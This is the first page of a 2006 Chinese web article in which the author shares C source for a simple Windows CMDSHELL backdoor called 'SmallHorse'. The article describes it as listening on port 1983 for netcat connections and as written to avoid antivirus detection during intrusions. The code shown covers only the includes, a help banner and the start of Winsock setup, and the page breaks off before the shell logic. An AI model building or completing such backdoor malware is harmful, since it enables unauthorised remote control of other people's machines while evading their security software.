WEB开发网
开发学院网络安全黑客技术 一个简单的CMDSHELL后门 阅读

一个简单的CMDSHELL后门

 2006-07-04 20:28:05 来源:WEB开发网   
核心提示:最近闲着无聊,自己琢磨着写了个简单的CMDSHELL后门,一个简单的CMDSHELL后门,同时也避免了入侵时被杀毒软件K了,参考了T-CMD源代码和以前黑防的相关文章,贴出来和大家共同学习进步,同时希望高手不吝指教,从中学到了很多知识,程序很简单

最近闲着无聊,自己琢磨着写了个简单的CMDSHELL后门。同时也避免了入侵时被杀毒软件K了。参考了T-CMD源代码和以前黑防的相关文章。从中学到了很多知识。

程序很简单,运行后默认打开1983端口,也可以自己设定端口,等待客户端来连接。连接可以使用nc。本来还想设计成服务让其开机后自动运行,由于时间问题等以后完善了。

用法:smallhorse [-p port] -p参数用于设置自己的端口

下面是源程序,贴出来和大家共同学习进步,同时希望高手不吝指教,小马在此谢了先。

QQ:11189658 E-MAIL:_man@163.com">horse_man@163.com

在vc++6.0 WIN2003下编译通过

#include<winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
int port=1983;
DWORD WINAPI ClientThread(LPVOID lpParam);
void Help()
{printf("   /***************************************\\\n");
printf("   |This SmallHorse's First CMDSHELL V0.1 |\n");
printf("   |Thanks For Using It!       |\n");
printf("   |SmallHorse [E.S.T] VIP 2005.03   |\n");
printf("   |***************************************|\n");
printf("   |usage:smallhorse [-p port]     |\n");
printf("   |   port: Port Number To Listen On  |\n");
printf("   |   Default Port Is 1983     |\n");
printf("   file://***************************************//n");
return;
}>
void OpenDoor()
{
   // 初始化 Winsock.
  WSADATA wsaData;
   SOCKET m_socket,AcceptClient;
   sockaddr_in Service,Client;
   int ClientSize,i=0;
  int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
  if ( iResult != NO_ERROR )
   return;

1 2  下一页

Tags:一个 简单 CMDSHELL

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接